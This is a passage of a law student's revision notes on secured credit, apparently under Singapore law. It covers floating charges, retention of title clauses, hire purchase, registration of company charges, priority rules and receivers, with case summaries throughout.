transfer of possession back to Pdgor (North Western Bank) * [When looking at TR, rmb to have a look at Mercantile Bank of India case (earlier syllabus)] Deemed trust? * What is the nature of the r/s btw Bank and B at (5)? Q: If after BOL is â€Å"spent† it no longer represents the goods, then what interest does Bank have in gds after collection? B has to take delivery of goods as agent of Bank and has to account to bank from the proceeds (for the amt of advance). Thus, this is a kind of deemed trust. * If it is, it is a funny kind of â€Å"trust† bec there is the Buyer (†Å"trustee†)’s equity of redemption. So the trust is liable to be unwound upon repayment. | * MB: Another possibility = Bank has charge over the goods. * Problem: CA and BOS Act seem to exclude trust receipts from charges registration suggests they are not charges * S 131, CA BOS leg excludes short-term import/ export bills * Bank clearly does not become legal owner of the goods; it only has a security interest. *United Malayan Banking Corp Bhd v Lim Kang Seng [1994] SGHC * Issue: Whether a bank operating under trust receipt terms had full legal and beneficial ownership of the goods after collection (w B acting simply as Blee)? * Held: NO. * Bank was not in business of dealing in building materials and clearly did not purchase these goods to deal with them. * Further, court also held that whether trust receipt can give security even if the pre-existing LOC granted to B was secured by other securities. See Rev Lect 1 and 2 for more on registration] How is proceeds shared btw Bank and B? * Quite obviously, proceeds from goods will be different from amt advanced (assuming there is profit). * Re David Allester (1922) 2 Ch 11 * Two possible ways: (i) Surplus from sale all goes to bank. * Using trust analysis, Bank is sole beneficiary (ii) Bank entitled to proceeds only up to amt of advance + interest. * MB: more commercially realistic * Then this would be a trust where both B and Bank are beneficiaries? Fixed and Floating Charges Definition of a floating charge | (1) Fixed Charge| (2) Floating Charge| * Prop that are ascertained or capable of being ascertained| Re Yorkshire Woolcombers: * Usually a class of assets, present and future * Contents of that class would change from time to time| Illingworth v Houldsworth [1904] HL (Lord Macnaghten)| – Once granted, it fastens on prop â€Å"without more†| – It is â€Å"ambulatory and shifting in nature, hovering over and so to speak floating with the property†- Does not bite until c rystallising event. | Priorities| Ranks in priority to floating charge, provided subsequent fixed Chgee has no notice of any –ve pledge| Ranks in priority to unsecured creds; except for preferential creditors| Floating charge is a present security interest * But its full force will not be felt until a future date; hence its also described as a â€Å"dormant† security Three features of floating charges (though not all 3 must be present):*Re Yorkshire Woolcombers Association Ltd [1904]: (i) If it is a charge on a class of assets of a company present and future; (ii) If that class is one which, in the ordinary course of business of the company, would be changing from time to time; and (iii) If it is contemplated that, until some future step is taken by those interested in the charge, the company may carry on its business in the ordinary way as ar as concerns the particular class of assets. [ Of all, (3) is the most impt – degree of control by Chgee most defining fe ature! ]| – When looking at whether B is free to deal with asset, Courts will look beyond words in agmt and at the actual practice btw the parties *Dresdner Bank v Ho Mun-Tuke [’92, SGCA] * Pal-El scandal – â€Å"daily certificates†-type cases – in this case, notwithstanding tt docs strictly said tt Co had to get bank’s approval before dealing in e shares – it was found tt Co. had freedom to alter the pool of shares tt constituted the security + Co. ever sought nor did bank demand such approval – HELD to be floating charge â€Å"Dealing in the ordinary course of business† (OCOB) * It is the hallmark of a floating charge that Chgor can deal with asset in the ordinary course business. But what does this mean? * MB: We see a rather wide and extravagant defn of ordinarycourse of business. Re Borax [1901] 1 Ch 327 * It means Chgor company can do anything, except: (i) Deliberately destroy its business (ii) Ultra vires transact ions (ie. adhere to MoA of Co) There has long been an intimate relationship between law relating to floating charge and lwa relating to corporate capacity (iii) Anything expressly prohibitied by the debenture. * Short of any of these 3 grounds, Chgee cannot intervene in Chgor’s business – eg. try and get injunction against Chgor Ashborder BV v Green Gas Power Ltd [2004] EWHC 1517 [Read paras 192 – 227 for summary of authorities; para 227 concisely states law] * Reaffirms Borax; and goes further! * Even if the company in question grants an unlawful preference = not be out of the ordinary course of business. Even if one or more of the directors are in breach of fiduciary duties = not be out of the ordinary course of business. * In present case, there was unlawful preference (Dirs lent $ to Co – Co has financial problems – Dirs sue Co – Dirs pass reso not to defend action); but not out of OCOB. Crystallisation of floating charges * Crystallisat ion does two things: (i) transforms floating charge fixed charge (ii) removes Chgor’s authority to deal w assets in OCOB * Crystallising events can be: (a) automatic – happens without Chgee/ Chgor knowing Eg. Chgor can crystallise charge at will (as was the case in Brightlife) (b) semi-automatic – exact + give notice * Eg. winding-up of Chgee Re Brightlife [1987] Ch 200 * There is no public policy reason to restrict parties’ freedom of contract. They can choose whatever crystallisation event. * However, automatic crystallisation can give rise to commercial inconvenience and hence there is a strong presumption that parties did not intend it. Very clear language will be required, but not excluded by rule of law. Acknowledged that some may not be happy w state of law but up to Parliament to change it Re Woodroffes (Musical Instruments) Ltd [1986] Ch 366 * Cessation of business is always a crystallising event * â€Å"A cessation of business necessarily puts an end to the company's dealings with its assets. That which kept the charge hovering has now been released and the force of gravity causes it to settle and fasten on the subject of the charge within its reach and grasp. † Apparent agency * While 3P would not know when crystallising event has taken place, they can â€Å"seek shelter† in apparent agency. Small Goode: Termination of Chgor’s apparent authority to deal w assets is purely btw Chgor and Chgee Taken tgt w the wide ambit of OCOB, what courts are saying is that they will be slow to fetter freedom of contract; but 3Ps are not w/o protection either. * Small Goode (at 4-29): â€Å"No outsider is entitled to dictate the terms on which the company’s management powers are to be brought to an end†¦ but whether the ending of [the power] binds third parties dealing with assets is an entirely separate question. | S 226(1A): a gloss to the automatic/ semi-automatic battle Re Brightlight was decided on f acts before a vital statutory change – s 226(1A): * Defines a floating charge as one that is a floating charge at creation. * Upon liquidation, liquidator has duty to pay Pref Creds before floating chgee * So the whole point of automatic crystallisation was a race to convert from floating fixed before liquidation * If fixed at liquidation = no need to be subordinate to Pref Creds * With s 226(1A) , this race is now pointless. * Hence, floating charges per se have lost favour links to Insolvency Battleground (see section 4. 5) Distinguishing fixed and floating charges It is important to distinguish fixed and floating charges. It is legislatively required: * S 226, CA: Preferential creditors to have priority over floating Chgee * The case of Re Cimex Tissues Ltd [1994] BCC 626 was probably not correct to say that fixed/ floating charge exist on a continuum. The insolvency battleground * Parliament make Pref Cred ; Floating Chgee + Automatic crystallisation not effective = Float ing Charge not popular. * Instead, they took fixed charges over as many assets as they possibly could with a floating charge to sweep up anything behind that might be unaccounted for. A particularly difficult asset to be subject to a fixed charge are book debts *Agnew v Commissioner of Inland Revenue [2001] 2 AC 710 * Cannot have fixed charge debt; floating charge proceeds * No diff btw debt and proceeds; failure to control proceeds = no charge over debt * To have fixed charge over debt = control collection of proceeds * Lord Millet: contractual stipulation tt proceeds are to be paid into blocked acct is not enough if account is not in fact operated as blocked. *Re Spectrum Plus Ltd [2005] 2 AC 680 * Agreed that insufficient for contractual right to control if it is not carried out. However, exactly how much control is needed is unknown. * Suggested that control exists on a spectrum – with total freedom of Chgor at one end; total prohibition on dealings at the other. * Court seems to imply that virtually all possibilities in between = floating * Simply if there is power to make item by item substitution = not fixed charge. Expenses of liquidator * It is a basic principle in insolvency proceedings that expenses of liquidation are not payable out of assets which are the subject of security. * Asset that is subject to security is not available to debtor thus cannot be used to pay.Buchler v Talbot [2004] AC 298 (HL) * Reversing earlier decisions, affirmed that liquidation expenses only paid out from assets that are not encumbered by any security (incl floating charge) * Thus, 2 diff funds: Floating Charge Assets| Unencumbered| (a) (Remaining Pref Creds if Unencumberd fund not enough) (b) Floating Chargees| (a) Liquidation expenses (b) Pref creditors| * Only when unencumbered fund is exhausted do Pref Creds get to touch floating charge assets * In England * Buchler was overruled by Parliament s 1282, UK CA 200 * Now Pref Creds are paid in priority to Floatin g Chgees * In Singapore It seems that the â€Å"2 funds† approach in Buchler is the law in our Companies Act * Reading s 328(5), on one level, seems like Pref Creds ; Floating Chgee * But read closely, this is only the case where Pref Creds cannot all be satisfied out of the â€Å"general creditors† assets * But read together w s 226 Pref Creds only to be paid out of â€Å"any assets coming to the hands of the receiver * By defn, floating charge assets are not in receiver’s hands Quasi-Security: Title-based Devices Reservation of title (‘Romalpa clauses’) * Eng + SG law = ROT is NOT security ADV: NO NEED COMPLY W REGISTRATION * How effective an ROT is depends on the commercial life of the goods. * Eg. widget – easily mixed as machine part = will lose identity = no point reserving title * Such was the case in Gebrueder Buehler AG became fixture * ROT clause can be created in two ways: * S Reserving right of disposal (s 19, SGA) * Making it a term of appropriation * ROT clause can be wider than mere purchase price; can cover all debts owed btw the parties. This is done using an â€Å"all moneys† clause (Armour) * Surplus market value goes to S Re Bond Worth Ltd [1980] Ch 228 S sought to reserve beneficial ownership only – failed – such a clause construed as full benef +leg ownership B + B to grant back benef ownership to S – failed for lack of registration as floating charge. Limitations of ROT – new goods *Aluminiuim Industrie Vassen BV v Romalpa Aluminium Ltd [1976] 1 WLR 676 | Facts| * S – sold aluminium B * The written agreement mandated that ownership of the aluminum would not pass to the buyer until the purchase price was fully satisfied * Problem: Clause could cover aluminium foil; but not the money proceeds on resale of the foil. Crucially, in this case, B had conceded it was a Blee. | HELD| As B was Blee (ie fiduciary), proceeds from aluminium could be traced| Evaluation | Gerard McMeel: hard to believe parties were in a fiduciary relationship when perhaps a more natural interpretation was that the parties were dealing at arms length in a commercial transaction| * In the absence of such a fiduciary r/s, the opposite result was reached in Borden where S failed to trace his resin into the manufactured chipboard.Court held there were various different materials and it was difficult to quantify value. * Hence, ROT clauses have their limitations. Drafters have sought to get around it by including: * â€Å"New goods† clauses = states ownership of new goods shall be and remain in the seller. * â€Å"Money proceeds† clauses = reserves title to the money proceeds from sale of gds New goods clauses * Default rule of Eng law = ownership of new thing is in creator of the new thing (ie. Buyer). Courts will strike this down bec it cannot ignore the rule that creator = owner; so the proper construction is that B is owner – but B gives a grant- back to S – but doing so makes it a charge – you need registration. Clough Mill Ltd v Martin [1985] 1 WLR 111 * Attempt to retain ownership in new goods – failed – construing clause as â€Å"retaining† title for S would mean that S is owner of goods even after contract is terminated – S will get windfall. * Must use charge analysis. Here, court was in principle willing to give effect to such clauses. However, Borden concluded that such clauses effectively don’t work. *Borden (UK) Ltd v Scottish Forest Timber Products Ltd [1981] Ch 25 * ROT clause retaining title from passing into new goods failed * Buckley LJ: * â€Å"It was impossible for the plaintiffs to reserve any property in the manufactured chipboard, because they never had any property in it; the property in that product originates in the defendants when the chipboard is manufactured.Any interest which the plaintiffs might have had in the chipboard must have arisen either by transfer of ownership or by some constructive trust or equitable charge, and, as I say, I find it impossible to spell out of this condtion anything of that nature. † * (Note: since there was no wrongful disposition here, there cannot be a CT). * In such cases, it would also not aid S to try and retain â€Å"beneficial ownership† only: Re Bond Worth Ltd [1980] Ch 228 * S sought to reserve beneficial ownership only – failed – such a clause onstrued as: full benef +leg ownership B + B to grant back benef ownership to S – failed for lack of registration as floating charge. Money proceeds clauses * Courts generally construe any such right of S to the proceeds as creating a charge, which is void for failure of registration *E Pfeiffer Weinkellerei Weinenkauf GmbH v Arbuthnot Factors Ltd [1988] 1 WLR 150 * Such clauses are inconsistent with a trust relationship * S only gets moneys up to amount owed by B but if S = beneficiary, ALL proceeds should vest in him. * Language of such clauses talk of assignment from B to S not consistent with trust. Only case such clause succeeded = HCA case of Associated Alloys Associated Alloys Pty Ltd v CAN 001 452 106 Pty Ltd [2000] HCA 25 * Clause interpreted as creating a trust with BOTH B and S as beneficiary * MB: However, to say it is a part-trust gives rise to its own set of problems like whether B must keep funds separate from his own etc. * (Moreover, once the Commonwealth of Australia‘s Personal Property Security Act comes into force, Associated Alloys is likely to be of only historical (rather than precedential) value in Australia) Hire purchase For many years, finance companies (FC) had best of all worlds bec H-P agmts were not: (i) Sale * Finance companies will always say they don’t make goods because they want to be responsible for the quality and fitness of the goods. * Helby v Matthews [1893] AC 471: Not sale under SGA bec B is not legally bound to exercise the option, then the buyer is not someone who has bought or agreed to buy the goods. exe * However, some owners will draft a HP that maximises instalments. Hirer is obliged to pay all instalments + deemed to have exercised option = this is a conditional sale, not HP (Forthright Finance) * Note: this case also touches on buyer in possession. * Such conditional sales do not need to be registered under BOS Act bec hirer is not granting FC power to seize but FC is â€Å"reserving† that power (McEntire) (ii) Loan * FC did not want to be caught under Moneylenders Act (iii) Security arrangement * FC does not want to have to register * FC’s damages in conversion (Whiteley; Belsize): Situation: FC —– hires out to H — sells it without permission 3P * FC sues 3P in conversion * FC’s measure of damages is NOT value of asset; but the value minus any paid up instalments FC has enjoyed. * Shows that courts want economic reality to trump proprietary orthodoxy so that FC don ’t get windfall. Discounting receivables * Debts are sold off at a discount * Contains clauses for recourse and surplus but courts resist temptation to characterise as security. registration of chargesRegistrable charges * Actually company has to register all charges, as well as other stuff (see my lecture notes). * However, our real concern is with the s 131 registration bec it is the only one with â€Å"civil sanction† * Civil sanction = if a charge is not registered it is â€Å"void† against the liquidator and any creditor of the company. * (Mb: CA says â€Å"void† but it really means voidable) * Strange thing about our laws * Company has duty to register; but secured creditor suffers the harm from failure to register. Sg and Eng law = registration serves as negative priority * Priority is from the agreement that creates the security * But if you don’t comply w CA and register in 30 days (see the list of information required listed out on the CA ), you stand to lose what the instrument gave you. S 131 registration * Under s 131, there are THREE types of charges that must be registered: * s 131(3d): a charge which if executed by an individual, would require registration as a bill of sale * s 131 (3f): charge on book debts of company s 131 (3g): floating charge on undertaking or property of company * s 131(3f): Charge on book debts * What is book debt? * If something is entered into well kept books, then that is a book debt. * A charge over a speculative contingency =/= book debt * Paul ; Frank: L has charge over an insurance policy (policy pays B if B’s overseas purchaser fails to pay) = not a book debt * But a charge over present and future book debts qualifies. * There will be outstanding contracts – don’t know if book debts will fall in future = but it still qualifies. Independent Automatic Sales Ltd) * So far as you are looking into the future, there is a certain degree of contingency. * But the cont ingency in Paul is speculative in a sense. * In contrast, courts treat present and future book debts as a present and continuing stream of funds. * Even if Co fails to register charge, the Chgor – Chgee contract is still valid (s 131(2)). Chgor has to pay out to the unregistered Chgee. * Who can challenge a failure to register? * Unsecured creditor * Has no standing prior to liquidation Only comes into play when liquidator is appointed upon liquidation * Floating Chgee * Cannot selectively intervene without crystallizing the charge (Evans) * Secured creditor * Only person who can intervene. * Fixed charge ranks before then it can assert priority but if it comes after it can chllange to rank ahead of the unregistered fixed charge When is a charge created? * For purposes of the 30 day rule, it is crucial to know at what point is a charge considered created! * An agreement to grant a charge = a charge; But an agreement to grant a charge upon a contingency happening =/= charge * (Re Gregory Love: Co agreed to grant charge if a guarantee in its favour was called in. Held: no present charge – caught by late charge rule). * A clause that says L is â€Å"entitled to charge† =/= present charge (Asiatic Enterprises (Pte) Ltd v UOB [1999] SGCA 85) Effect of registration and non-registration No constructive knowledge * There is no room to import any notion of actual or constructive knowledge to deny a registered Chgee’s priority.Re Monolithic Co [1915] 1 Ch 643 * Dirs who refused to register earlier charge – Dirs later became Chgee for subsequent charge, which they duly registered – ie. Dirs were knowingly favouring their own charge. * HELD: Dirs’ subsequent registered charge prevailed despite their knowledge. * There is no rule that exploiting your legal advantage was not allowed. * Promote integrity of the register don’t wish to â€Å"go behind† it and import constructive knowledge etc. * MB: Parliament shou ld change statute? Hard case to see justice in it. Conclusive evidence * S. 34(3) and (4) CA: Certificate of registration is conclusive evidence of what is covered by charge. There is no room to â€Å"get behind† it. * Cases where there was a mistake/ negligence, but certificate cannot be impugned: * National Provincial Bank v Charnley [1924] 1 KB 431 * Re CL Nye Ltd [1971] Ch 442 Late Registration * S. 137: court has discretion to grant permission to register out of time and will do under certain conditions * Grounds: * Failure to register are accidental or due to inadvertence * Quite wide reasons in statute Basically reasons that non-reg was not to prejudice other creditors * In granting late reg, courts will protect creditors who come in between * Caveat that those who take charge after 30 days but before date of late registration = have priority over late Chgee * Similarly, to protect unsecured creditors, court will not grant late reg if insolvency is looming * But we nev er know when a Co is close to winding up. Hence, parties seeking late registration will sign consent order agreeing to disregard the registration certificate if there is winding up within a stipulated time (Re Ashpurton Estates) Priority RulesRules in general (Note: these are rules, not the order of priority! ) Rule 1: Where the equities are equal, the first in time prevails| (a) Btw a prior fixed charge and a subsequent floating charge = Fx charge prevails * In that sense, the equities are not equal (b) Knowledge/ notice does not reverse a Fx Chgee’s priority (English ; Scottish Mercantile [1892] ) Rule 2: A legal interest acquired for value and without notice overrides prior equitable interest. | Joseph v Lyons (1884) Competition btw (1) Holder of registered Bill of Sale [eq interest] vs (2) Pawnbroker [legal security interest] * HELD: (2) trumps bec it is legal interest + no notice * Entry of BoS into register does not equate to notice. Rule 3: Mtgee may tack further advan ces and rank in priority to subsequent mtgees| Rule 4: Priority rules may be varied by agreement. | Cheah v Equiticorp Finance Group Ltd [1992] 1 AC 472 * Subordination between two secured creditors. The point made by the case is that the 2 secured creditors can change their priority and the debtor has no standing in the matter.Constructive notice * Notice is relevant, at least in the case of Rule2 * Question is: can entry into company’s charge register equate to constructive notice? Wilson v Kelland [1910] 2 Ch 306 * Earlier chgee vs Later purchaser * In dicta: registration of a charge amounts to constructive notice of the existence of a charge. * What he does not say is how far such constructive notice goes. * The better view would be that registration is constructive notice against those who ought to examine the register. * Hence, purchasers or factors would not reasonably be expected to check. Macmillan Inc v Bishopsgate Investment Trust plc (No 3) [1995] 1 WLR 978, 999-1 005 * Lord Millet questions whether Eng law should be so resistant to having constructive notice in commercial transactions: * â€Å"The doctrine of constructive notice has developed in relation to land, where there is a recognised procedure for investigating the title of the transferor. There is no room for the doctrine of notice in the strict conveyancing sense in a situation in which it is not the custom and practice to investigate the transferor's title. But in the wider sense it is not so limited. * He then cites Lord B-W in Barclays Bank v O’Brien: â€Å"The doctrine of notice lies at the heart of equity. † * He acknowledges that in many states in US, there is a doctrine of notice for share transactions * â€Å"I know of no reason why this should not be the case in England; on the contrary, I do not see how it would be possible to develop a logical and coherent system of restitution unless it were. * It is true that many distinguished judges in the past have wa rned against the extension of the equitable doctrine of constructive notice to commercial transactions (see Manchester Trust v.Furness [1895] 2 Q. B. 539, 545-546 , per Lindley L. J. ), but they were obviously referring to the doctrine in its strict conveyancing sense with its many refinements and its insistence on a proper investigation of title in every case. * The relevance of constructive notice in its wider meaning cannot depend on whether the transaction is â€Å"commercial:† the provision of secured overdraft facilities to a corporate customer is equally â€Å"commercial† whether the security consists of the managing director's house or his private investments.The difference is that in one case there is, and in the other there is not, a recognised procedure for investigating the mortgagor's title which the creditor ignores at his peril. † Purchase money (security) interests * Problem mainly in US * ROT is considered a security interest * Financier 1 (F1) h as charge over all present and future assets * F1 will get (1) windfall; (2) situational monopoly if borrower (B) goes to F2 for advance for equipment * F1 doesn’t do short-term financing * US solution = reversal of ordinary rules of priority; F2 gets priority * Eng + SG Not usually a problem bec ROT here is not security * Limited case in land where F2 sells land to B but is granted mtgage * No scintilla temprois * B only gets transferred an equity of redemption. * Abbey National Building Society v Cann [1991] AC 56: not impt Tacking future advances * The American system: * In Art 9 you can file a security interest even before you advance the value to the debtor. The whole system of filing is simplified and computerised * Also, you can file your security interest now and not only for an advance you contemplate making in the future but a whole string of advances. Later mtgee can see its on the register and its up to him to make subordination arrangements. * SG + Eng law on tac king * Tacking situation: * M1 $100K * M2 $50K * M1 $75K * Can M1’s later $75K â€Å"tack† to M1’s initial $100K so that M1’s total of $175K stands in priority to M2’s $50K? * Parties free to enter into subordination agmt. * But other than that, Eng law only recognised three grounds: (i) When making later advance, M1 has no notice of the later mortgage. * Hopkinson v Rolt (1861) * Applies even if M1 was under legal oblg to make 2nd advance * Reasons: Prevent M1 having monopoly ii) M1’s later advance is made pursuant to a contractual commitment incurred before the creation of the 2nd mortgage West v Williams [1899] * ECA held that this ground is no more. * Not sure if SG follows this case. * This exception has been reinstated in the case of land: * S 94, Eng LPA * S 80, SG LTA * Clearly the LTA is only for land. So if SG accepts West, then this ground is no more. * If so, the scope of tacking will be really slim. * (iii) Tabula in naufragio ( ‘plank in the shipwreck’) * M1, M2, M3; M3 (provided he has no notice of M2) can buy M1’s legal interest M3 now ranks in priority to M2 * M3 has to get Mtgor to sign blank share transfer forms – M3 sends forms to Co transferring from M1 to M3 = M3 is now in priority to M2. * (Logic akin to Dearle v Hall for assignments) * Macmillan: Tabula doctrine doesn’t apply anymore in land; applies for shares Circularity * See foolscap Remedies General * What remedies does a holder of security (mtgage/ charge in particular) have? * Entirely up to parties to contract * But typically, mtgage will see more remedies than charge: * Charge cannot foreclose * Also, cannot sell. Distinction not very great bec in drafting practice, the distinction btw charge and mtgage has been eliminated. What remedies does Chgee have? (i) Court-appointed Receivers * Limited powers; only collect and distribution powers * Officer of the court (ii) Receiver and Manager (R&M) * Created pu rely in the charge agmt; no need to go to court * How it works: Through power of attorney + Chgee having interest in assets Chgee has irrevocable power to appoint R&M in B’s name. * So theoretically, B has appointed R&M as agent for himself (iii) Judicial management (in UK, called â€Å"administration†) * Cf. eceivership, it is a broad-based management * Use of this has fallen in decline How much notice must creditor give? * Question of fact; as much notice as needed for B to get money from a convenient place (Bank of Baroda) * No need to allow B to have time to seek alternate financing. Duty of care in choosing receiver Gaskell v Gosling [1896] (Rigby LJ) * Creds do not like to take direct possession bec to avoid fiduciary duties. * Cred is NOT a trustee when it comes to choosing and appointing a receiver, it can favour its own commercial interest when deciding on when and who to appoint. Also, receiver can be totally selfish; no oblg to act in preference of interest of the company!! * But the cred and receiver owe certain equitable duty of care * Not same as com-law DOC * It is